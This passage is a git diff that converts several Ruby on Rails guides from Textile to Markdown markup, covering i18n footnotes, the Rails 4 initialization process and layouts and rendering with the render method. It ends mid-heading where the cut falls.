[Karel Minařík](http://www.workingwithrails.com/person/7476-karel-mina-k) -If you found this guide useful, please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com. +If you found this guide useful, please consider recommending its authors on [workingwithrails](http://www.workingwithrails.com). -h3. Footnotes +Footnotes +--------- -fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ +[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ -fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. +[^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. -fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions. +[^3]: One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions. diff --git a/guides/source/initialization.textile b/guides/source/initialization.md index b23f31cb1a..c760a18dda 100644 --- a/guides/source/initialization.textile +++ b/guides/source/initialization.md @@ -1,11 +1,12 @@ -h2. The Rails Initialization Process +The Rails Initialization Process +================================ This guide explains the internals of the initialization process in Rails as of Rails 4. It is an extremely in-depth guide and recommended for advanced Rails developers. -* Using +rails server+ +* Using `rails server` -endprologue. +-------------------------------------------------------------------------------- This guide goes through every method call that is required to boot up the Ruby on Rails stack for a default Rails 4 @@ -15,20 +16,21 @@ server+ to boot your app. NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. -TIP: If you want to follow along while browsing the Rails "source -code":https://github.com/rails/rails, we recommend that you use the +t+ +TIP: If you want to follow along while browsing the Rails [source +code](https://github.com/rails/rails), we recommend that you use the `t` key binding to open the file finder inside GitHub and find files quickly. -h3. Launch! +Launch! +------- -A Rails application is usually started with the command +rails server+. +A Rails application is usually started with the command `rails server`. -h4. +bin/rails+ +### `bin/rails` -The actual +rails+ command is kept in _bin/rails_: +The actual `rails` command is kept in _bin/rails_: -<ruby> +```ruby #!/usr/bin/env ruby if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git')) @@ -36,16 +38,16 @@ if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git')) $:.unshift(railties_path) end require "rails/cli" -</ruby> +``` -This file will first attempt to push the +railties/lib+ directory if -present, and then requires +rails/cli+. +This file will first attempt to push the `railties/lib` directory if +present, and then requires `rails/cli`. -h4. +railties/lib/rails/cli.rb+ +### `railties/lib/rails/cli.rb` This file looks like this: -<ruby> +```ruby require 'rbconfig' require 'rails/script_rails_loader' @@ -62,11 +64,11 @@ if ARGV.first == 'plugin' else require 'rails/commands/application' end -</ruby> +``` -The +rbconfig+ file from the Ruby standard library provides us with the +RbConfig+ class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in +railties/lib/rails/script_rails_loader+. +The `rbconfig` file from the Ruby standard library provides us with the `RbConfig` class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in `railties/lib/rails/script_rails_loader`. -<ruby> +```ruby require 'pathname' module Rails @@ -77,19 +79,19 @@ module Rails end end -</ruby> +``` -The +rails/script_rails_loader+ file uses +RbConfig::Config+ to obtain the +bin_dir+ and +ruby_install_name+ values for the configuration which together form the path to the Ruby interpreter. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method. +The `rails/script_rails_loader` file uses `RbConfig::Config` to obtain the `bin_dir` and `ruby_install_name` values for the configuration which together form the path to the Ruby interpreter. The `RbConfig::CONFIG["EXEEXT"]` will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in `exec_script_rails!`. As for the `SCRIPT_RAILS` constant, we'll see that when we get to the `in_rails_application?` method. -Back in +rails/cli+, the next line is this: +Back in `rails/cli`, the next line is this: -<ruby> +```ruby Rails::ScriptRailsLoader.exec_script_rails! -</ruby> +``` -This method is defined in +rails/script_rails_loader+: +This method is defined in `rails/script_rails_loader`: -<ruby> +```ruby def self.exec_script_rails! cwd = Dir.pwd return unless in_rails_application? || in_rails_application_subdirectory? @@ -102,67 +104,68 @@ def self.exec_script_rails! rescue SystemCallError # could not chdir, no problem just return end -</ruby> +``` -This method will first check if the current working directory (+cwd+) is a Rails application or a subdirectory of one. This is determined by the +in_rails_application?+ method: +This method will first check if the current working directory (`cwd`) is a Rails application or a subdirectory of one. This is determined by the `in_rails_application?` method: -<ruby> +```ruby def self.in_rails_application? File.exists?(SCRIPT_RAILS) end -</ruby> +``` -The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+ then +in_rails_application_subdirectory?+ will be used: +The `SCRIPT_RAILS` constant defined earlier is used here, with `File.exists?` checking for its presence in the current directory. If this method returns `false` then `in_rails_application_subdirectory?` will be used: -<ruby> +```ruby def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd)) File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent) end -</ruby> +``` -This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory containing this file is reached then this line will run: +This climbs the directory tree until it reaches a path which contains a `script/rails` file. If a directory containing this file is reached then this line will run: -<ruby> +```ruby exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? -</ruby> +``` -This is effectively the same as running +ruby script/rails [arguments]+, where +[arguments]+ at this point in time is simply "server". +This is effectively the same as running `ruby script/rails [arguments]`, where `[arguments]` at this point in time is simply "server". -h3. Rails Initialization +Rails Initialization +-------------------- Only now we finally start the real initialization process, beginning -with +script/rails+. +with `script/rails`. -TIP: If you execute +script/rails+ directly from your Rails app you will +TIP: If you execute `script/rails` directly from your Rails app you will skip executing all the code that we've just described. -h4. +script/rails+ +### `script/rails` This file is as follows: -<ruby> +```ruby APP_PATH = File.expand_path('../../config/application', __FILE__) require File.expand_path('../../config/boot', __FILE__) require 'rails/commands' -</ruby> +``` -The +APP_PATH+ constant will be used later in +rails/commands+. The +config/boot+ file referenced here is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up. +The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up. -h4. +config/boot.rb+ +### `config/boot.rb` -+config/boot.rb+ contains: +`config/boot.rb` contains: -<ruby> +```ruby # Set up gems listed in the Gemfile. ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) -</ruby> +``` -In a standard Rails application, there's a +Gemfile+ which declares all -dependencies of the application. +config/boot.rb+ sets -+ENV['BUNDLE_GEMFILE']+ to the location of this file. If the Gemfile -exists, +bundler/setup+ is then required. +In a standard Rails application, there's a `Gemfile` which declares all +dependencies of the application. `config/boot.rb` sets +`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile +exists, `bundler/setup` is then required. The gems that a Rails 4 application depends on are as follows: @@ -194,11 +197,11 @@ TODO: change these when the Rails 4 release is near. * treetop (1.4.9) * tzinfo (0.3.23) -h4. +rails/commands.rb+ +### `rails/commands.rb` -Once +config/boot.rb+ has finished, the next file that is required is +rails/commands+ which will execute a command based on the arguments passed in. In this case, the +ARGV+ array simply contains +server+ which is extracted into the +command+ variable using these lines: +Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines: -<ruby> +```ruby ARGV << '--help' if ARGV.empty? aliases = { @@ -212,14 +215,14 @@ aliases = { command = ARGV.shift command = aliases[command] || command -</ruby> +``` TIP: As you can see, an empty ARGV list will make Rails show the help snippet. -If we used <tt>s</tt> rather than +server+, Rails will use the +aliases+ defined in the file and match them to their respective commands. With the +server+ command, Rails will run this code: +If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code: -<ruby> +```ruby when 'server' # Change to the application's path if there is no config.ru file in current dir. # This allows us to run script/rails server from other directories, but still get @@ -234,73 +237,73 @@ when 'server' Dir.chdir(Rails.application.root) server.start } -</ruby> +``` -This file will change into the root of the directory (a path two directories back from +APP_PATH+ which points at +config/application.rb+), but only if the +config.ru+ file isn't found. This then requires +rails/commands/server+ which sets up the +Rails::Server+ class. +This file will change into the root of the directory (a path two directories back from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class. -<ruby> +```ruby require 'fileutils' require 'optparse' require 'action_dispatch' module Rails class Server < ::Rack::Server -</ruby> +``` -+fileutils+ and +optparse+ are standard Ruby libraries which provide helper functions for working with files and parsing options. +`fileutils` and `optparse` are standard Ruby libraries which provide helper functions for working with files and parsing options. -h4. +actionpack/lib/action_dispatch.rb+ +### `actionpack/lib/action_dispatch.rb` Action Dispatch is the routing component of the Rails framework. It adds functionalities like routing, session, and common middlewares. -h4. +rails/commands/server.rb+ +### `rails/commands/server.rb` -The +Rails::Server+ class is defined in this file as inheriting from +Rack::Server+. When +Rails::Server.new+ is called, this calls the +initialize+ method in +rails/commands/server.rb+: +The `Rails::Server` class is defined in this file as inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`: -<ruby> +```ruby def initialize(*) super set_environment end -</ruby> +``` -Firstly, +super+ is called which calls the +initialize+ method on +Rack::Server+. +Firstly, `super` is called which calls the `initialize` method on `Rack::Server`. -h4. Rack: +lib/rack/server.rb+ +### Rack: `lib/rack/server.rb` -+Rack::Server+ is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of. +`Rack::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of. -The +initialize+ method in +Rack::Server+ simply sets a couple of variables: +The `initialize` method in `Rack::Server` simply sets a couple of variables: -<ruby> +```ruby def initialize(options = nil) @options = options @app = options[:app] if options && options[:app] end -</ruby> +``` -In this case, +options+ will be +nil+ so nothing happens in this method. +In this case, `options` will be `nil` so nothing happens in this method. -After +super+ has finished in +Rack::Server+, we jump back to +rails/commands/server.rb+. At this point, +set_environment+ is called within the context of the +Rails::Server+ object and this method doesn't appear to do much at first glance: +After `super` has finished in `Rack::Server`, we jump back to `rails/commands/server.rb`. At this point, `set_environment` is called within the context of the `Rails::Server` object and this method doesn't appear to do much at first glance: -<ruby> +```ruby def set_environment ENV["RAILS_ENV"] ||= options[:environment] end -</ruby> +``` -In fact, the +options+ method here does quite a lot. This method is defined in +Rack::Server+ like this: +In fact, the `options` method here does quite a lot. This method is defined in `Rack::Server` like this: -<ruby> +```ruby def options @options ||= parse_options(ARGV) end -</ruby> +``` -Then +parse_options+ is defined like this: +Then `parse_options` is defined like this: -<ruby> +```ruby def parse_options(args) options = default_options @@ -313,11 +316,11 @@ def parse_options(args) ENV["RACK_ENV"] = options[:environment] options end -</ruby> +``` -With the +default_options+ set to this: +With the `default_options` set to this: -<ruby> +```ruby def default_options { :environment => ENV['RACK_ENV'] || "development", @@ -328,19 +331,19 @@ def default_options :config => "config.ru" } end -</ruby> +``` -There is no +REQUEST_METHOD+ key in +ENV+ so we can skip over that line. The next line merges in the options from +opt_parser+ which is defined plainly in +Rack::Server+ +There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server` -<ruby> +```ruby def opt_parser Options.new end -</ruby> +``` -The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ to take different arguments. Its +parse!+ method begins like this: +The class **is** defined in `Rack::Server`, but is overwritten in `Rails::Server` to take different arguments. Its `parse!` method begins like this: -<ruby> +```ruby def parse!(args) args, options = args.dup, {} @@ -349,24 +352,24 @@ def parse!(args) opts.on("-p", "--port=port", Integer, "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } ... -</ruby> +``` -This method will set up keys for the +options+ which Rails will then be -able to use to determine how its server should run. After +initialize+ -has finished, we jump back into +rails/server+ where +APP_PATH+ (which was +This method will set up keys for the `options` which Rails will then be +able to use to determine how its server should run. After `initialize` +has finished, we jump back into `rails/server` where `APP_PATH` (which was set earlier) is required. -h4. +config/application+ +### `config/application` -When +require APP_PATH+ is executed, +config/application.rb+ is loaded. +When `require APP_PATH` is executed, `config/application.rb` is loaded. This file exists in your app and it's free for you to change based on your needs. -h4. +Rails::Server#start+ +### `Rails::Server#start` -After +congif/application+ is loaded, +server.start+ is called. This method is defined like this: +After `congif/application` is loaded, `server.start` is called. This method is defined like this: -<ruby> +```ruby def start url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}" puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" @@ -395,19 +398,19 @@ ensure # If we call 'options' with it unset, we get double help banners. puts 'Exiting' unless @options && options[:daemonize] end -</ruby> +``` This is where the first output of the Rails initialization happens. This -method creates a trap for +INT+ signals, so if you +CTRL-C+ the server, +method creates a trap for `INT` signals, so if you `CTRL-C` the server, it will exit the process. As we can see from the code here, it will -create the +tmp/cache+, +tmp/pids+, +tmp/sessions+ and +tmp/sockets+ -directories. It then calls +wrapped_app+ which is responsible for +create the `tmp/cache`, `tmp/pids`, `tmp/sessions` and `tmp/sockets` +directories. It then calls `wrapped_app` which is responsible for creating the Rack app, before creating and assigning an -instance of +ActiveSupport::Logger+. +instance of `ActiveSupport::Logger`. -The +super+ method will call +Rack::Server.start+ which begins its definition like this: +The `super` method will call `Rack::Server.start` which begins its definition like this: -<ruby> +```ruby def start &blk if options[:warn] $-w = true @@ -449,19 +452,19 @@ def start &blk server.run wrapped_app, options, &blk end -</ruby> +``` -The interesting part for a Rails app is the last line, +server.run+. Here we encounter the +wrapped_app+ method again, which this time +The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time we're going to explore more (even though it was executed before, and thus memorized by now). -<ruby> +```ruby @wrapped_app ||= build_app app -</ruby> +``` -The +app+ method here is defined like so: +The `app` method here is defined like so: -<ruby> +```ruby def app @app ||= begin if !::File.exist? options[:config] @@ -473,56 +476,57 @@ def app app end end -</ruby> +``` -The +options[:config]+ value defaults to +config.ru+ which contains this: +The `options[:config]` value defaults to `config.ru` which contains this: -<ruby> +```ruby # This file is used by Rack-based servers to start the application. require ::File.expand_path('../config/environment', __FILE__) run <%= app_const %> -</ruby> +``` -The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code: +The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code: -<ruby> -app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app", +```ruby +app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", TOPLEVEL_BINDING, config -</ruby> +``` -The +initialize+ method of +Rack::Builder+ will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: +The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run: -<ruby> +```ruby require ::File.expand_path('../config/environment', __FILE__) -</ruby> +``` -h4. +config/environment.rb+ +### `config/environment.rb` -This file is the common file required by +config.ru+ (+rails server+) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup. +This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup. -This file begins with requiring +config/application.rb+. +This file begins with requiring `config/application.rb`. -h4. +config/application.rb+ +### `config/application.rb` -This file requires +config/boot.rb+, but only if it hasn't been required before, which would be the case in +rails server+ but *wouldn't* be the case with Passenger. +This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger. Then the fun begins! -h3. Loading Rails +Loading Rails +------------- -The next line in +config/application.rb+ is: +The next line in `config/application.rb` is: -<ruby> +```ruby require 'rails/all' -</ruby> +``` -h4. +railties/lib/rails/all.rb+ +### `railties/lib/rails/all.rb` This file is responsible for requiring all the individual frameworks of Rails: -<ruby> +```ruby require "rails" %w( @@ -537,7 +541,7 @@ require "rails" rescue LoadError end end -</ruby> +``` This is where all the Rails frameworks are loaded and thus made available to the application. We won't go into detail of what happens @@ -547,43 +551,43 @@ explore them on your own. For now, just keep in mind that common functionality like Rails engines, I18n and Rails configuration is all being defined here. -h4. Back to +config/environment.rb+ +### Back to `config/environment.rb` -When +config/application.rb+ has finished loading Rails, and defined -your application namespace, you go back to +config/environment.rb+, +When `config/application.rb` has finished loading Rails, and defined +your application namespace, you go back to `config/environment.rb`, where your application is initialized. For example, if you application was called -+Blog+, here you would find +Blog::Application.initialize!+, which is -defined in +rails/application.rb+ +`Blog`, here you would find `Blog::Application.initialize!`, which is +defined in `rails/application.rb` -h4. +railties/lib/rails/application.rb+ +### `railties/lib/rails/application.rb` -The +initialize!+ method looks like this: +The `initialize!` method looks like this: -<ruby> +```ruby def initialize!(group=:default) #:nodoc: raise "Application has been already initialized." if @initialized run_initializers(group, self) @initialized = true self end -</ruby> +``` As you can see, you can only initialize an app once. This is also where the initializers are run. TODO: review this The initializers code itself is tricky. What Rails is doing here is it -traverses all the class ancestors looking for an +initializers+ method, -sorting them and running them. For example, the +Engine+ class will make -all the engines available by providing the +initializers+ method. +traverses all the class ancestors looking for an `initializers` method, +sorting them and running them. For example, the `Engine` class will make +all the engines available by providing the `initializers` method. -After this is done we go back to +Rack::Server+ +After this is done we go back to `Rack::Server` -h4. Rack: lib/rack/server.rb +### Rack: lib/rack/server.rb -Last time we left when the +app+ method was being defined: +Last time we left when the `app` method was being defined: -<ruby> +```ruby def app @app ||= begin if !::File.exist? options[:config] @@ -595,12 +599,12 @@ def app app end end -</ruby> +``` -At this point +app+ is the Rails app itself (a middleware), and what +At this point `app` is the Rails app itself (a middleware), and what happens next is Rack will call all the provided middlewares: -<ruby> +```ruby def build_app(app) middleware[options[:environment]].reverse_each do |middleware| middleware = middleware.call(self) if middleware.respond_to?(:call) @@ -610,20 +614,20 @@ def build_app(app) end app end -</ruby> +``` -Remember, +build_app+ was called (by wrapped_app) in the last line of +Server#start+. +Remember, `build_app` was called (by wrapped_app) in the last line of `Server#start`. Here's how it looked like when we left: -<ruby> +```ruby server.run wrapped_app, options, &blk -</ruby> +``` -At this point, the implementation of +server.run+ will depend on the +At this point, the implementation of `server.run` will depend on the server you're using. For example, if you were using Mongrel, here's what -the +run+ method would look like: +the `run` method would look like: -<ruby> +```ruby def self.run(app, options={}) server = ::Mongrel::HttpServer.new( options[:Host] || '0.0.0.0', @@ -655,7 +659,7 @@ def self.run(app, options={}) yield server if block_given? server.run.join end -</ruby> +``` We won't dig into the server configuration itself, but this is the last piece of our journey in the Rails initialization process. diff --git a/guides/source/layouts_and_rendering.textile b/guides/source/layouts_and_rendering.md index 9eb8161c54..8277859232 100644 --- a/guides/source/layouts_and_rendering.textile +++ b/guides/source/layouts_and_rendering.md @@ -1,4 +1,5 @@ -h2. Layouts and Rendering in Rails +Layouts and Rendering in Rails +============================== This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to: @@ -7,60 +8,62 @@ This guide covers the basic layout features of Action Controller and Action View * Use partials to DRY up your views * Use nested layouts (sub-templates) -endprologue. +-------------------------------------------------------------------------------- -h3. Overview: How the Pieces Fit Together +Overview: How the Pieces Fit Together +------------------------------------- This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide. In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide. -h3. Creating Responses +Creating Responses +------------------ From the controller's point of view, there are three ways to create an HTTP response: -* Call +render+ to create a full response to send back to the browser -* Call +redirect_to+ to send an HTTP redirect status code to the browser -* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser +* Call `render` to create a full response to send back to the browser +* Call `redirect_to` to send an HTTP redirect status code to the browser +* Call `head` to create a response consisting solely of HTTP headers to send back to the browser -h4. Rendering by Default: Convention Over Configuration in Action +### Rendering by Default: Convention Over Configuration in Action -You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your +BooksController+ class: +You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your `BooksController` class: -<ruby> +```ruby class BooksController < ApplicationController end -</ruby> +``` And the following in your routes file: -<ruby> +```ruby resources :books -</ruby> +``` -And you have a view file +app/views/books/index.html.erb+: +And you have a view file `app/views/books/index.html.erb`: -<ruby> +```html+erb <h1>Books are coming soon!</h1> -</ruby> +``` -Rails will automatically render +app/views/books/index.html.erb+ when you navigate to +/books+ and you will see "Books are coming soon!" on your screen. +Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen. -However a coming soon screen is only minimally useful, so you will soon create your +Book+ model and add the index action to +BooksController+: +However a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`: -<ruby> +```ruby class BooksController < ApplicationController def index @books = Book.all end end -</ruby> +``` -Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the +action_name.html.erb+ template in the controller's view path and render it. So in this case, Rails will render the +app/views/books/index.html.erb+ file. +Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the `action_name.html.erb` template in the controller's view path and render it. So in this case, Rails will render the `app/views/books/index.html.erb` file. If we want to display the properties of all the books in our view, we can do so with an ERB template like this: -<ruby> +```html+erb <h1>Listing Books</h1> <table> @@ -86,27 +89,27 @@ If we want to display the properties of all the books in our view, we can do so <br /> <%= link_to "New book", new_book_path %> -</ruby> +``` -NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). +NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandlers`. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are `.erb` for ERB (HTML with embedded Ruby), and `.builder` for Builder (XML generator). -h4. Using +render+ +### Using `render` -In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. +In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. -TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser. +TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser. -h5. Rendering Nothing +#### Rendering Nothing -Perhaps the simplest thing you can do with +render+ is to render nothing at all: +Perhaps the simplest thing you can do with `render` is to render nothing at all: -<ruby> +```ruby render :nothing => true -</ruby> +``` If you look at the response for this using cURL, you will see the following: -<shell> +```bash $ curl -i 127.0.0.1:3000/books HTTP/1.1 200 OK Connection: close @@ -119,17 +122,17 @@ Cache-Control: no-cache $ -</shell> +``` -We see there is an empty response (no data after the +Cache-Control+ line), but the request was successful because Rails has set the response to 200 OK. You can set the +:status+ option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed. +We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed. -TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers. +TIP: You should probably be using the `head` method, discussed later in this guide, instead of `render :nothing`. This provides additional flexibility and makes it explicit that you're only generating HTTP headers. -h5. Rendering an Action's View +#### Rendering an Action's View -If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view: +If you want to render the view that corresponds to a different action within the same template, you can use `render` with the name of the view: -<ruby> +```ruby def update @book = Book.find(params[:id]) if @book.update_attributes(params[:book]) @@ -138,13 +141,13 @@ def update render "edit" end end -</ruby> +``` -If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller. +If the call to `update_attributes` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller. If you prefer, you can use a symbol instead of a string to specify the action to render: -<ruby> +```ruby def update @book = Book.find(params[:id]) if @book.update_attributes(params[:book]) @@ -153,11 +156,11 @@ def update render :edit end end -</ruby> +``` -To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary in Rails 3.0): +To be explicit, you can use `render` with the `:action` option (though this is no longer necessary in Rails 3.0): -<ruby> +```ruby def update @book = Book.find(params[:id]) if @book.update_attributes(params[:book]) @@ -166,52 +169,52 @@ def update render :action => "edit" end end -</ruby> +``` -WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+. +WARNING: Using `render` with `:action` is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling `render`. -h5. Rendering an Action's Template from Another Controller +#### Rendering an Action's Template from Another Controller -What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way: +What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with `render`, which accepts the full path (relative to `app/views`) of the template to render. For example, if you're running code in an `AdminProductsController` that lives in `app/controllers/admin`, you can render the results of an action to a template in `app/views/products` this way: -<ruby> +```ruby render "products/show" -</ruby> +``` -Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier): +Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the `:template` option (which was required on Rails 2.2 and earlier): -<ruby> +```ruby render :template => "products/show" -</ruby> +``` -h5. Rendering an Arbitrary File +#### Rendering an Arbitrary File -The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications): +The `render` method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications): -<ruby> +```ruby render "/u/apps/warehouse_app/current/app/views/products/show" -</ruby> +``` -Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier): +Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the `:file` option (which was required on Rails 2.2 and earlier): -<ruby> +```ruby render :file => "/u/apps/warehouse_app/current/app/views/products/show" -</ruby> +``` -The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content. +The `:file` option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content. -NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option. +NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the `:layout => true` option. -TIP: If you're running Rails on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames. +TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to render a file, because Windows filenames do not have the same format as Unix filenames. -h5. Wrapping it up +#### Wrapping it up The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action. -In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the +edit.html.erb+ template in the +views/books+ directory: +In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory: -<ruby> +```ruby render :edit render :action => :edit render "edit" @@ -226,155 +229,155 @@ render "/path/to/rails/app/views/books/edit" render "/path/to/rails/app/views/books/edit.html.erb" render :file => "/path/to/rails/app/views/books/edit" render :file => "/path/to/rails/app/views/books/edit.html.erb" -</ruby> +``` Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing. -h5. Using +render+ with +:inline+ +#### Using `render` with 